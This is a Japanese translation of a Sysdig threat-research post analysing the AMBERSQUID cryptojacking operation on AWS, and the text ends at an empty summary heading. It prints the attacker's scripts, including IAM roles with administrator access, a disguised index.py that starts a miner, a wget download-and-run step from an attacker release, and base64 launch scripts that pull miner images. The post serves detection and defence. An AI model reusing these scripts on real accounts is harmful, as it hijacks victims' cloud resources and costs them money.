AWSの隠れた脅威: AMBERSQUID クラウドネイティブ クリプトジャッキングオペレーション

By 清水 孝郎 - SEPTEMBER 18, 2023

SHARE:

本文の内容は、2023年9月18日にALESSANDRO BRUCATO が投稿したブログ(https://sysdig.com/blog/ambersquid)を元に日本語に翻訳・再構成した内容となっております。

Sysdig 脅威リサーチチーム(TRT)は、AMBERSQUID と名付けた新しいクラウドネイティブのクリプトジャッキングオペレーションを発見しました。この作戦は、AWS Amplify、AWS Fargate、Amazon SageMakerなど、攻撃者は、一般的に使用しないAWSサービスを使用しています。これらのサービスは一般的でないため、セキュリティの観点からは見過ごされがちであり、AMBERSQUIDオペレーションは被害者に1日あたり10,000ドル以上の損害を与える可能性があります。

AMBERSQUIDは、EC2インスタンスにのみスパムを送信した場合のように、AWSが要求するリソースの追加承認を引き起こすことなく、クラウドサービスを悪用することができました。複数のサービスをターゲットにすることは、悪用された各サービス内のすべてのマイナーを発見して Kill する必要があるため、インシデント対応などのさらなる課題も生じます。

New Cloud-Native Cryptojacking Operation - AMBERSQUID


私たちは、Docker Hub上のコンテナイメージにどのような悪意のあるペイロードが隠れているのかを理解するために、1.7M以上のLinuxイメージの分析を行うことでAMBERSQUIDを発見しました。

この危険なコンテナイメージは、既知のインジケータや悪意のあるバイナリの静的スキャンではアラームを発しませんでした。このコンテナを実行したときに初めて、サービス横断的なクリプトジャッキング活動が明らかになりました。これは、静的スキャンだけでは悪意のあるイメージの10%を見逃してしまうという2023年クラウド脅威レポートの結果と一致しています。

スクリプトやユーザー名にインドネシア語が使用されていることから、この活動はインドネシアの攻撃者によるものと推定しています。また、インドネシアの攻撃者は生活費が安いため、フリージャッキングやクリプトジャッキング攻撃が有利な収入源となっていることも定期的に確認しています。

テクニカル分析

Docker Hub

調査のきっかけとなった最初のコンテナはDocker Hubで発見されましたが、その範囲はすぐに拡大し、多数のアカウントが含まれるようになりました。これらのアカウントのほとんどは、クリプトマイナーを実行する非常に基本的なコンテナイメージで開始しました。しかし、彼らは最終的にこの調査で説明したAWS固有のサービスに切り替えました。

タイムライン

興味深いことに、最初のアカウントは2022年5月に作成され、その開発は8月まで続きました。攻撃者は2023年3月にGitHubアカウントを作成するまで、異なるアカウントでクリプトマイナーのイメージをプッシュし続けました。独自のリポジトリを作成する前に、攻撃者は人気のあるGitHubリポジトリからマイナーをダウンロードし、Dockerイメージのレイヤーにインポートしました。彼らのリポジトリには(まだ)ソースコードはありませんが、リリースとしてダウンロード可能なアーカイブ内にマイナーを提供しています。これらのバイナリは通常 “test” と呼ばれ、UPXでパックされ、簡単に解凍できないように不正に形成されています。

New Cloud-Native Cryptojacking Operation - AMBERSQUID


以下は、この作戦に関連する既知のDocker Hubユーザーのリストです。いくつかのアカウントは放棄されたようですが、他のアカウントは引き続きアクティブです。

https://hub.docker.com/u/delbidaluan

https://hub.docker.com/u/tegarhuta

https://hub.docker.com/u/rizal91

https://hub.docker.com/u/krisyantii20

https://hub.docker.com/u/avriliahasanah

https://hub.docker.com/u/buenosjiji662

https://hub.docker.com/u/buenosjiji

https://hub.docker.com/u/dellaagustin582

https://hub.docker.com/u/jotishoop

https://hub.docker.com/u/krisyantii20

https://hub.docker.com/u/nainasachie

https://hub.docker.com/u/rahmadabdu0

https://hub.docker.com/u/robinrobby754

Docker Hubからの悪意のあるイメージ

delbidaluan/epicxをさらに掘り下げると、攻撃者がAmplifyアプリケーションのソースコードと前述のマイニングスクリプトを保存するために使用しているGitHubアカウントを発見しました。GitHubの検索エンジンに追跡されないように、コードのバージョンを変えているのです。

New Cloud-Native Cryptojacking Operation - AMBERSQUID


例えば:

Githubアカウントを作成する前に、攻撃者は難読化せずにcryptominerバイナリを使用していました。

“x” で終わるイメージは、攻撃者のリポジトリリリースからマイナーをダウンロードし、起動時にそれらを実行すると推論しました。特にepicxイメージは10万ダウンロードを超えています。

New Cloud-Native Cryptojacking Operation - AMBERSQUID


最後の “x “がないイメージは、AWSをターゲットとしたスクリプトを実行します。

AWSアーティファクト

コンテナイメージdelbidaluan/epicを使ったアーティファクト分析から始めましょう。DockerイメージのENTRYPOINTは entrypoint.sh です。異なるイメージはすべて同じフォーマットですが、異なるスクリプトを実行できます。この場合、実行は次のように始まります:

#!/bin/bash

aws --version

aws configure set aws_access_key_id $ACCESS
aws configure set aws_secret_access_key $SECRET
aws configure set default.output text

git config --global user.name "GeeksforGeeks"
git config --global user.email "[email protected]"Code language: PHP (php)


AWSの認証情報は環境変数で設定するか、イメージをデプロイするときに渡します。そして、GITユーザーとemailは GeeksforGeeks example から取得します。このユーザー名は GitHub に存在しますが、アクティビティはありません。

 entrypoint.sh は以下のスクリプトで処理を進みます:

./amplify-role.sh
./repo.sh
./jalan.sh
./update.sh
./ecs.sh
./ulang.sh


攻撃者がクリプトジャッキングオペレーションを達成するために使用している各アーティファクトとサービスについて説明していきましょう。

ロールとパーミッション

コンテナによって実行される最初のスクリプト amplify-role.sh は、”AWSCodeCommit-Role” ロールを作成します。この新しいロールは、攻撃者が他のAWSサービスに対して追加の権限を追加する際に、オペレーション全体を通して使用する複数のロールのうちの1つです。最初にアクセス権を与えられたサービスは、AWS Amplify です。Amplify については後述します。

aws iam create-role --role-name AWSCodeCommit-Role --assume-role-policy-document file://amplify-role.jsonCode language: JavaScript (javascript)


 amplify-role.json の場所:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Service": "amplify.amazonaws.com"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}Code language: JSON / JSON with Comments (json)


次に、CodeCommit、CloudWatch、Amplifyのフルアクセスポリシーをそのロールにアタッチします。

aws iam attach-role-policy --role-name AWSCodeCommit-Role --policy-arn arn:aws:iam::aws:policy/AWSCodeCommitFullAccess
aws iam attach-role-policy --role-name AWSCodeCommit-Role --policy-arn arn:aws:iam::aws:policy/CloudWatchFullAccess
aws iam attach-role-policy --role-name AWSCodeCommit-Role --policy-arn arn:aws:iam::aws:policy/AdministratorAccess-AmplifyCode language: PHP (php)


インラインポリシーもいくつか追加されています:

aws iam put-role-policy --role-name AWSCodeCommit-Role --policy-name amed --policy-document file://amed.json
aws iam put-role-policy --role-name AWSCodeCommit-Role --policy-name ampad --policy-document file://ampad.jsonCode language: JavaScript (javascript)


これらのポリシーは、すべてのリソースにAmplifyとamplifybackendサービスの完全な権限を与えます。

最後に、 amplify-role.sh  は、以下のように、SageMaker へのフルアクセスを持つ別のロール “sugo-role” を作成します:

aws iam create-role --role-name sugo-role --assume-role-policy-document file://sugo.json
aws iam attach-role-policy --role-name sugo-role --policy-arn arn:aws:iam::aws:policy/AmazonSageMakerFullAccessCode language: JavaScript (javascript)


 sugo.json の場所:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Service": "sagemaker.amazonaws.com"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}Code language: JSON / JSON with Comments (json)


同様に、 ecs.sh スクリプトでは、管理者権限以外のECSへのフルアクセスを持つロール “ecsTaskExecutionRole” の作成を開始します。

aws iam create-role --role-name ecsTaskExecutionRole --assume-role-policy-document file://ecsTaskExecutionRole.json
aws iam attach-role-policy --role-name ecsTaskExecutionRole --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam attach-role-policy --role-name ecsTaskExecutionRole --policy-arn arn:aws:iam::aws:policy/AmazonECS_FullAccess
aws iam attach-role-policy --role-name ecsTaskExecutionRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy

[...]Code language: PHP (php)


 ecsTaskExecutionRole.json の場所:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "",
      "Effect": "Allow",
      "Principal": {
        "Service": "ecs-tasks.amazonaws.com"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}Code language: JSON / JSON with Comments (json)


CodeCommit

AWS CodeCommit は、プライベート Git リポジトリをホストする、セキュアで拡張性の高い、フル・マネージドのソース管理サービスです。攻撃者はこのサービスを使用してプライベートリポジトリを生成し、それをソースとして別のサービスで使用しました。これによって、AWSの中でオペレーションを完全にコントロールすることができます。

 repo.sh スクリプトは、すべてのリージョンに “test “という名前のCodeCommitリポジトリを作成します。

aws configure set region ca-central-1
aws codecommit create-repository --repository-name test

./code.sh

echo "selesai region ca-central-1"Code language: PHP (php)


興味深いことに、”selesai” はインドネシア語で “完了した” という意味です。

それぞれを作成した直後に code.sh を実行し、AmplifyアプリのソースコードをGit経由でリモートリポジトリにプッシュします。

cd amplify-app
rm -rf .git
git init
git add .
git commit -m "web app"
git branch -m master
git status

git config --global credential.helper '!aws codecommit credential-helper $@'
git config --global credential.UseHttpPath true

git remote remove codecommit
REPO=$(aws codecommit get-repository --repository-name test --query 'repositoryMetadata.cloneUrlHttp'| tr -d '"' 2> /dev/null)
git remote add codecommit $REPO
git push codecommit master --forceCode language: PHP (php)


Amplify

AWS Amplify は、開発者がスケーラブルな Web アプリケーションとモバイルアプリケーションをビルドしてデプロイできるようにする開発プラットフォームです。それは、認証のためのAWS Cognito、APIのためのAWS AppSync、ストレージのためのAWS S3のような、他の複数のAWSサービスとアプリを統合するためのフレームワークを提供します。最も重要なのは、Amplifyが攻撃者にコンピュートリソースへのアクセスを提供することです。

攻撃者がプライベートリポジトリを作成したら、次のスクリプト jalan.sh は、各リージョンで別のスクリプト sup0.shを実行します。

aws configure set region us-east-1
./sup0.sh
echo "selesai region us-east-1"Code language: PHP (php)


 sup0.sh スクリプトは、以前に作成したリポジトリから5つのAmplifyウェブアプリを作成します。 code.sh にある “amplify-app “ディレクトリには、Amplifyを使ってマイナーを実行するために必要なファイルが含まれています。

以下は amplify.ymlです:

version: 1
frontend:
  phases:
    build:
      commands:
        - python3 index.py
        - ./time

  artifacts:
    baseDirectory: /
    files:
      - '**/*'Code language: PHP (php)


これが  index.py の内容です:

import json
import datetime
import os
import time

os.system("./start")

def handler(event, context):
    data = {
        'output': 'Hello World',
        'timestamp': datetime.datetime.utcnow().isoformat()
    }
    return {'statusCode': 200,
            'body': json.dumps(data),
            'headers': {'Content-Type': 'application/json'}}Code language: JavaScript (javascript)


以下の start スクリプトを実行し、cryptominerを実行します:

nohup bash -c 'for i in {1..99999}; do ./test --disable-gpu --algorithm randomepic --pool 74.50.74.27:4416 --wallet rizal91#amplify-$(echo $(date +%H)) --password kiki311093m=solo -t $(nproc --all) --tls false --cpu-threads-intensity 1 --keep-alive true --log-file meta1.log; done' > program.out 2>&1 &
Code language: Perl (perl)Code language: JavaScript (javascript)


“test” バイナリはクリプトマイナであり、解析を困難にするためにUPXでパックされ、不正に整形されています。また、VirusTotal では検出されていません。Telemetryの結果は、このバイナリが以前に “SRBMiner-MULTI “としてアップロードされたことを示しており、Epic Cashのマイニングに関連するドキュメントで確認することができます:

./SRBMiner-MULTI --multi-algorithm-job-mode 1 --disable-gpu --algorithm randomepic --pool lt.epicmine.io:3334 --tls true --wallet your_username.worker_name --password your_passwordm=pool --keepalive trueCode language: JavaScript (javascript)


攻撃者は、アカウント自身のリポジトリ外からのダウンロードを避けるためにこのようなことを行い、可能性のあるアラートを回避していると推測できます。

 amplify.ymlで実行されるもう1つのスクリプトはtimeと名付けられ、マイナーのプロセスが実行されている間、ビルドをできるだけ長く持続させるために使用されます:

for i in {1..6500000}
do
pgrep -x test;
sleep 3;
doneCode language: JavaScript (javascript)


攻撃者はこのスクリプトを使用して、Amplifyホスティングでデプロイされる複数のAmplifyウェブアプリを作成します。ビルド設定のコンフィグレーションファイルに、彼らはアプリのビルド段階で実行されるマイナーを実行するコマンドを挿入しました。以下のコードは sup0.sh スクリプトの一部です:

REPO=$(aws codecommit get-repository --repository-name test --query 'repositoryMetadata.cloneUrlHttp'| tr -d '"' 2> /dev/null)
IAM=$(aws iam get-role --role-name AWSCodeCommit-Role --query 'Role.Arn'| tr -d '"' 2> /dev/null)

for i in {1..5}
do
aws amplify create-app --name task$i --repository $REPO  --platform WEB  --iam-service-role-arn $IAM --environment-variables '{"_BUILD_TIMEOUT":"480","BUILD_ENV":"prod"}' --enable-branch-auto-build  --enable-branch-auto-deletion  --no-enable-basic-auth \
--build-spec "
version: 1
frontend:
  phases:
    build:
      commands:
        - timeout 280000 python3 index.py

  artifacts:
    baseDirectory: /
    files:
      - '**/*'

" \
--enable-auto-branch-creation --auto-branch-creation-patterns '["*","*/**"]' --auto-branch-creation-config '{"stage": "PRODUCTION",  "enableAutoBuild": true,  "environmentVariables": {" ": " "},"enableBasicAuth": false, "enablePullRequestPreview":false}'Code language: PHP (php)


次に、コマンドはビルド インスタンス内で実行されます。AWS が提供する EC2 インスタンスは、アプリケーションのビルドに使用されます。

私たちは初めて、攻撃者がAWS Amplifyをクリプトジャッキングのために悪用していることを発見しました。

また、アプリケーションが作成されると、 update.sh  スクリプトでリポジトリコードが更新され、再びデプロイされるように、自動ビルドを有効にしている点も興味深いです。

さらに、同じプールに属するユーザーからの別のイメージ (tegarhuta/ami) で、クリプトマイニング スクリプトが保存されている同じフォルダーに Amplify アプリを作成するための手順が見つかりました。 URL の 1 つは Amplify アプリで、この記事の執筆時点では実行されているようです。

このサイトは、 `https://master[.]d19tgz4vpyd5[.]amplifyapp[.]com/`でホストされていました。

Elastic Container Service (ECS) / Fargate

次のスクリプト ecs.shは、明らかにAWS ECSサービスでクリプトジャッキングを行うために使用されます。Amazon ECSは、コンテナの管理とデプロイに使用されるオーケストレーションサービスです。タスクとサービスはECSクラスターにグループ化され、EC2インスタンス、AWS Fargate(サーバーレス)、またはオンプレミスの仮想マシン上で実行できます。

このスクリプトは、ECSタスクサービスから想定される “ecsTaskExecutionRole “ロールを作成します。そして、”AdministratorAccess”、”AmazonECS_FullAccess”、”AmazonECSTaskExecutionRolePolicy “ポリシーをアタッチします。これは、上記のIAMセクションで説明したのと同じプロセスです。

その後、コンテナの起動に使用されるイメージが同じ Docker Hub ユーザーに属するマイナー イメージ delbidaluan/epicxECS タスク定義を書き込みます。 リソースは、コンテナーに 2 vCPUu と 4 GB のメモリが搭載されるように設定されています。 また、オプション「”requiresCompatibilities”: [ “FARGATE” ]」を設定することで、Fargate 上で実行するように構成されます。

次に、各リージョンについて:

  • FargateにECSクラスターを作成します。
  • 前述のタスク定義を登録します。
  • 利用可能なFargate On-Demand vCPUのクエリーを行い、その結果に従ってECSサービスを作成します:
    • クォータが 30.0 の場合、サービスの「desiredCount」は 30 に設定されます。
    • それ以外の場合、サービスの「desiredCount」は 6 に設定されます。

aws configure set region us-east-1

aws ecs create-cluster \
--cluster-name test \
--capacity-providers FARGATE FARGATE_SPOT \
--default-capacity-provider-strategy capacityProvider=FARGATE,weight=1 capacityProvider=FARGATE_SPOT,weight=1
sleep 10s
aws ecs create-cluster \
--cluster-name test \
--capacity-providers FARGATE FARGATE_SPOT \
--default-capacity-provider-strategy capacityProvider=FARGATE,weight=1 capacityProvider=FARGATE_SPOT,weight=1

aws ecs register-task-definition --family test --cli-input-json file://task.json

LIFAR=$(aws service-quotas get-service-quota --service-code fargate --quota-code L-3032A538 --query 'Quota.Value')
if [ $LIFAR = "30.0" ];
then
COUNT=30
VPC=$(aws ec2 describe-vpcs --query 'Vpcs[0].VpcId'| tr -d '"' 2> /dev/null)
SGROUP=$(aws ec2 describe-security-groups --filters "Name=vpc-id,Values=$VPC" --query 'SecurityGroups[0].GroupId' | tr -d '"' 2> /dev/null)
SUBNET=$(aws ec2 describe-subnets --query 'Subnets[0].SubnetId' | tr -d '"' 2> /dev/null)
SUBNET1=$(aws ec2 describe-subnets --query 'Subnets[1].SubnetId' | tr -d '"' 2> /dev/null)
aws ecs create-service --cluster test --service-name test --task-definition test:1 --desired-count $COUNT --capacity-provider-strategy capacityProvider=FARGATE,weight=1 capacityProvider=FARGATE_SPOT,weight=1 --platform-version LATEST --network-configuration "awsvpcConfiguration={subnets=[$SUBNET,$SUBNET1],securityGroups=[$SGROUP],assignPublicIp=ENABLED}"

else
COUNT=6
VPC=$(aws ec2 describe-vpcs --query 'Vpcs[0].VpcId'| tr -d '"' 2> /dev/null)
SGROUP=$(aws ec2 describe-security-groups --filters "Name=vpc-id,Values=$VPC" --query 'SecurityGroups[0].GroupId' | tr -d '"' 2> /dev/null)
SUBNET=$(aws ec2 describe-subnets --query 'Subnets[0].SubnetId' | tr -d '"' 2> /dev/null)
SUBNET1=$(aws ec2 describe-subnets --query 'Subnets[1].SubnetId' | tr -d '"' 2> /dev/null)
aws ecs create-service --cluster test --service-name test --task-definition test:1 --desired-count $COUNT --capacity-provider-strategy capacityProvider=FARGATE,weight=1 capacityProvider=FARGATE_SPOT,weight=1 --platform-version LATEST --network-configuration "awsvpcConfiguration={subnets=[$SUBNET,$SUBNET1],securityGroups=[$SGROUP],assignPublicIp=ENABLED}"
fiCode language: PHP (php)


ドキュメントによると、desiredCountは「サービス内に配置して実行し続ける、指定されたタスク定義のインスタンス化の数。 サービスで実行されているタスクの数がdesiredCountを下回った場合、Amazon ECSは指定されたクラスターでタスクの別のコピーを実行します。」とあります。

最後のエントリポイントスクリプトである ulang.sh は、リージョンごとに restart.sh を実行します。このスクリプトは単純に全てのAmplifyアプリの全てのジョブをクエリーし、ステータスが “RUNNING “や “PENDING “でなければ再実行します。

Codebuild スクリプト

AWS CodeBuild は継続的インテグレーション (CI) サービスで、ビルドサーバーを管理することなくソースコードのコンパイルとテストを行い、デプロイ可能な成果物を作成するために使用できます。プロジェクトを作成する際、ユーザーはビルドコマンドを含むいくつかの設定をビルド仕様に指定することができます。

攻撃者はここに、マイナーを実行するコマンドを入れています。

aws configure set region ap-south-1
aws codebuild create-project --name tost \
[...]

aws codebuild create-project --name tost1 \
[...]

aws codebuild create-project --name tost2 \
--source '{"type": "CODECOMMIT","location": "https://git-codecommit.ap-south-1.amazonaws.com/v1/repos/test","gitCloneDepth": 1,"gitSubmodulesConfig": {    "fetchSubmodules": false},"buildspec": "version: 0.2\nphases:\n  build:\n    commands:\n      - python3 index.py\n      - ./time","insecureSsl": false}' \
--source-version refs/heads/master \
--artifacts '{"type": "NO_ARTIFACTS"}' \
--environment '{"type": "LINUX_CONTAINER","image": "aws/codebuild/amazonlinux2-x86_64-standard:4.0","computeType": "BUILD_GENERAL1_LARGE","environmentVariables": [],"privilegedMode": false,"imagePullCredentialsType": "CODEBUILD"}' \
--service-role $ROLE_ARN \
--timeout-in-minutes 480 \
--queued-timeout-in-minutes 480 \
--logs-config '{"cloudWatchLogs": {"status": "ENABLED"},"s3Logs": {"status": "DISABLED","encryptionDisabled": false}}'


aws codebuild start-build --project-name tost1
aws codebuild start-build --project-name tost2
aws codebuild start-build --project-name tostCode language: PHP (php)


上記のように、攻撃者は事前に作成したリポジトリを使って各リージョンに3つの新しいプロジェクトを作成し、プロジェクトのビルド開始時に index.py を実行します。Amplifyに関しては、悪意のあるコードはビルドインスタンス内で実行されます。前述のコードスニペットは、ビルドの仕様、OS、使用するDockerイメージ、そのコンピュートタイプ、ビルドプロジェクトのログに関する情報(この場合はCloudWatch)を示しています。

また、”timeout-in-minutes “を480(8時間)に設定しています。ドキュメントによると、このパラメータは、「完了としてマークされていないビルドがタイムアウトになるまでに CodeBuild が待機する時間を分単位で 5 ~ 480 (8 時間) で指定します。」とあります。

CloudFormation

AWS CloudFormationは、AWSやサードパーティのリソースをテンプレートでデプロイできるインフラストラクチャーサービスです。テンプレートは、AWS CloudFormationスタックでプロビジョニングされるリソースを記述するテキストファイルです。スタックはAWSリソースの集まりで、1つのユニットとして管理できます。つまり、ユーザーは単一のリソースではなく、スタックで直接操作することができます。

攻撃者のスクリプトは、EC2 Image Builderコンポーネントを定義するテンプレートに由来する複数のCloudFormationスタックを作成します。このコンポーネント内には、イメージのビルドフェーズ中にマイナーを実行するコマンドが配置されています。これは、Dockerfileで定義できるコマンドに似ています。

各リージョンに対してCloudFormationスタックを作成し、ImageBuilderコンポーネント内にマイナーを実行するコマンドを挿入します:

Component:
    Type: AWS::ImageBuilder::Component
    Properties:
      Name: HelloWorld-ContainerImage-Component
      Platform: Linux
      Version: 1.0.0
      Description: 'This is a sample component that demonstrates defining the build, validation, and test phases for an image build lifecycle'
      ChangeDescription: 'Initial Version'
      Data: |
        name: Hello World
        description: This is hello world compocat nent doc for Linux.
        schemaVersion: 1.0

        phases:
          - name: build
            steps:
              - name: donStep
                action: ExecuteBash
                inputs:
                  commands:
                    - sudo yum install wget unzip -y && wget --no-check-certificate https://github.com/meuryalos/profile/releases/download/1.0.0/test.zip && sudo unzip test.zip
          - name: validate
            steps:
              - name: buildStep
                action: ExecuteBash
                inputs:
                  commands:
                    - sudo ./start
                    - sudo timeout 48m ./timeCode language: PHP (php)


また、作成するビルドインスタンスのインスタンスタイプを指定しています:

BuildInstanceType:
    Type: CommaDelimitedList
    Default: "c5.xlarge,c5a.xlarge,r5.xlarge,r5a.xlarge"Code language: CSS (css)


次に、以下の入力JSONファイルで8つのEC2イメージパイプラインを作成します:

{
    "name": "task$i",
    "description": "Builds image",
    "containerRecipeArn": "$CONTAINER",
    "infrastructureConfigurationArn": "$INFRA",
    "distributionConfigurationArn": "$DISTRI",
    "imageTestsConfiguration": {
        "imageTestsEnabled": true,
        "timeoutMinutes": 60
    },
    "schedule": {
        "scheduleExpression": "cron(* 0/1 * * ?)",
        "pipelineExecutionStartCondition": "EXPRESSION_MATCH_ONLY"
    },
    "status": "ENABLED"
}Code language: JSON / JSON with Comments (json)


先のコードスニペットで最も重要なのは、cron expressionで、これはパイプラインに1分ごとに新しいビルドを開始するように指示します。

彼らのDockerイメージには、以前に実際の環境で使用され、AWSアカウントID(攻撃者のテスト環境の1つに属している可能性があります)をリークするJSONファイルの1つが含まれています:

{
    "name": "task8",
    "description": "Builds image",
    "containerRecipeArn": "arn:aws:imagebuilder:us-east-1:909030629651:container-recipe/amazonlinux2-container-recipe/1.0.0",
    "infrastructureConfigurationArn": "arn:aws:imagebuilder:us-east-1:909030629651:infrastructure-configuration/amazonlinux2-containerimage-infrastructure-configuration",
    "distributionConfigurationArn": "arn:aws:imagebuilder:us-east-1:909030629651:distribution-configuration/amazonlinux2-container-distributionconfiguration",
    "imageTestsConfiguration": {
        "imageTestsEnabled": true,
        "timeoutMinutes": 60
    },
    "schedule": {
        "scheduleExpression": "cron(* 0/1 * * ?)",
        "pipelineExecutionStartCondition": "EXPRESSION_MATCH_ONLY"
    },
    "status": "ENABLED"
}Code language: JSON / JSON with Comments (json)


EC2オートスケーリング

Amazon EC2 Auto Scalingは、ユーザーが選択したスケーリングポリシーを使用してEC2インスタンスを追加または削除することで、コンピュートキャパシティの可用性を処理できるようにする機能です。起動テンプレートを使用して、デプロイするEC2インスタンスを定義できます。

 scale.sh スクリプトは、リージョンごとに以下のEC2起動テンプレートを作成します:

SCRIPT="c3VkbyB5dW0gaW5zdGFsbCBkb2NrZXIgLXkgJiYgc3VkbyBzZXJ2aWNlIGRvY2tlciBzdGFydCAmJiBzdWRvIGRvY2tlciBwdWxsIGRlbGJpZGFsdWFuL2VwaWN4ICYmIHN1ZG8gZG9ja2VyIHJ1biAtZCBkZWxiaWRhbHVhbi9lcGljeA=="

AMI=$(aws ec2 describe-images --filters "Name=manifest-location,Values=amazon/amzn2-ami-kernel-5.10-hvm-2.0.20230404.0-x86_64-gp2" --query 'Images[0].ImageId'| tr -d '"' 2> /dev/null)
export AMI
aws ec2 create-launch-template \
    --launch-template-name task \
    --version-description task \
    --launch-template-data '{"ImageId": "'$AMI'","UserData": "'$SCRIPT'","InstanceRequirements":{"VCpuCount":{"Min":4},"MemoryMiB":{"Min":8192}}}'Code language: JavaScript (javascript)


インスタンスAMIはAmazon Linux 2で、最小要件は4 vCPUと8 GBのメモリに設定されています。UserDataに挿入されたBase64デコードされたスクリプトには、クリプトマイナーを実行する攻撃者のDockerイメージの1つを実行するコマンドが含まれています:

sudo yum install docker -y && sudo service docker start && sudo docker pull delbidaluan/epicx && sudo docker run -d delbidaluan/epicx

次に、スクリプトは以下のように、以前の起動テンプレートを使用してインスタンスを起動させる「task」と「task1」という名前の2つの自動スケーリンググループを作成します:

aws autoscaling create-auto-scaling-group --auto-scaling-group-name task --vpc-zone-identifier "$SUBNET,$SUBNET1" --cli-input-json '{"DesiredCapacityType":"units","MixedInstancesPolicy":{"LaunchTemplate":{"LaunchTemplateSpecification":{"LaunchTemplateName":"task","Version":"1"},"Overrides":[{"InstanceRequirements":{"VCpuCount":{"Min":4},"MemoryMiB":{"Min":8192},"CpuManufacturers":["intel","amd"]}}]},"InstancesDistribution":{"OnDemandPercentageAboveBaseCapacity":100,"SpotAllocationStrategy":"capacity-optimized","OnDemandBaseCapacity":8,"OnDemandPercentageAboveBaseCapacity":100}},"MinSize":8,"MaxSize":8,"DesiredCapacity":8,"DesiredCapacityType":"units"}'
aws autoscaling create-auto-scaling-group --auto-scaling-group-name task1 --vpc-zone-identifier "$SUBNET,$SUBNET1" --cli-input-json '{"DesiredCapacityType":"units","MixedInstancesPolicy":{"LaunchTemplate":{"LaunchTemplateSpecification":{"LaunchTemplateName":"task","Version":"1"},"Overrides":[{"InstanceRequirements":{"VCpuCount":{"Min":4},"MemoryMiB":{"Min":8192},"CpuManufacturers":["intel","amd"]}}]},"InstancesDistribution":{"OnDemandPercentageAboveBaseCapacity":0,"SpotAllocationStrategy":"capacity-optimized","OnDemandBaseCapacity":0,"OnDemandPercentageAboveBaseCapacity":0}},"MinSize":8,"MaxSize":8,"DesiredCapacity":8,"DesiredCapacityType":"units"}'Code language: JavaScript (javascript)


各グループには8つのインスタンスが含まれます。最初のグループにはオンデマンドインスタンス(”OnDemandPercentageAboveBaseCapacity “が100に設定されています)のみがあり、2番目のグループにはスポットインスタンス(”OnDemandPercentageAboveBaseCapacity “が0に設定されています)のみがあります。また、”SpotAllocationStrategy “を “capacity-optimized “に設定することで、攻撃者はドキュメントによると、中断のリスクが最も低い戦略を選択しています。

Sagemaker

Amazon SageMakerは、機械学習(ML)モデルをビルド、トレーニング、デプロイするためのプラットフォームです。ユーザーは、Jupyter Notebookアプリを実行するMLコンピュートインスタンスであるノートブックインスタンスで、モデルをトレーニング、デプロイ、検証するコードを書くことができます。各ノートブックインスタンスについて、ユーザーはノートブックインスタンスの作成時または開始時に実行されるシェルスクリプトのコレクションであるライフサイクル設定を定義できます。これは、ノートブックインスタンスの作成時または開始時に実行されるシェルスクリプトのコレクションです。

攻撃者は地域ごとに  note.sh を実行します。このスクリプトは、ml.t3.medium タイプの SageMaker ノートブックインスタンスを作成します。設定の “OnStart” フィールドには「ノートブックインスタンスを起動するたびに実行されるシェルスクリプト」が含まれており、ここにbase64でエンコードされた以下のコマンドを挿入してマイナーを実行します:

sudo yum install docker -y && sudo service docker start && sudo docker pull delbidaluan/note && sudo docker run -d delbidaluan/note

その他のスクリプト

salah.sh (”salah “はインドネシア語で “間違った “という意味)はリージョンごとに実行され、順番にdelete.sh が実行されます。このスクリプトは、以前に作成されたすべてのCodeCommitリポジトリを削除します。

stoptrigger.sh、各リージョンに対して、このスクリプトはいくつかのGlueトリガーを停止します。

被害者のコスト

この作業で使用されるサービスの量を考慮し、被害者にかかるコストのシミュレーションを行いたいと思います。これらのコストは、攻撃者が容易に変更できるリージョンと規模を仮定しています。

サービスデプロイコスト/日
Amplify (pricing)8 regions x 5 apps x 1440 min$576
CodeBuild (pricing)8 regions x 3 projects (small, medium and large) x 1440 min$403
Cloudformation (pricing)8 regions x 8 tasks (c5.xlarge, c5a.xlarge, r5.xlarge, r5a,xlarge) x (0.2 * 24 h)$307
Sagemaker (pricing)4 regions x 8 instances (ml.t3.2xlarge) x (0.399 * 24 h)$306
EC2 Auto Scaling groups (pricing)4 regions x 16 instances x (0.2 * 24 h)$307
ECS (pricing)16 regions x 24 h x 30 tasks x (2 vCPU * 0.013 + 4GB * 0.001)$345
合計$2244


上の表で考慮すべきもう1つの点は、デフォルトのスクリプトがフルパワーで動作していないことです。例えば、あるサービスでは4つのリージョン、あるときは8つ、またあるときは16のリージョンを利用します。もし彼らが常にすべてのリージョンをターゲットにし、リソースの使用量をスケールアップすれば、コストはもっと高くなるでしょう。

ウォレットと収益

暗号通貨ウォレットアドレスNotes
ZephyrZEPHYR2vyrpcg2e2sJaA88EM6aGaLCBdiYfiHffrs5b3Fa4p1qpoEPH4UabmhJr5YYF7CxJykLTJmESQWaB9ARNuhb6jvptapVq3vReceived: 3251.16 ZEPH = $6,924
TidecoinTFrQ7u9spKk8MBgX6Bze3oxPbs3Yh1tAsqReceived: 250,381 TDC = $6,993
VerusRNu4dQGeFDSPP5iHthijkfnzgxcW2nPde9Received: 4561.913 VRSC = $1,916
Monero89v8xC6Mu2tX27WZKhefTuSnN7f3JMHQSAuoD7ZRe1bV2wfExSTDZe4JwaM4qpjKAoWbAbbnqLBmGCFECiwnXdfSKHt85H3 (2miners)
8B7ommXjcEpTAHKFFyci1v5ADrqvEbphhHrzbBfJgvqjecbik7vcLonh8rYSstbBxgD8AccrJYEukDaXZB8ns3kTLiXL8BN (c3pool)
837MGitRYxgEV158RDenxVUfb5mN6qzz78Z1WeaDoiqC4K7H8Pj556vHJoVXL2MCJ5WCGVZTBiRmqJFxeJG3WSQmGKhPC31 (nanopool)
Paid: 17.636 XMR = $2,506
QRLQ010500bc3733dbd0576ca26a8595d59b577a4d1e09c019856abfa103b8f08ec0ed36735e0e2f35
Q01050074da7be4fe8216f789041227c08ccbf310617362641336e1f282c398937635a5d3ebbdbf
N/A
Bamboo007DE31E4FD8213FBCE3586A3D2260C962142BBC605BB41C41N/A

まとめ

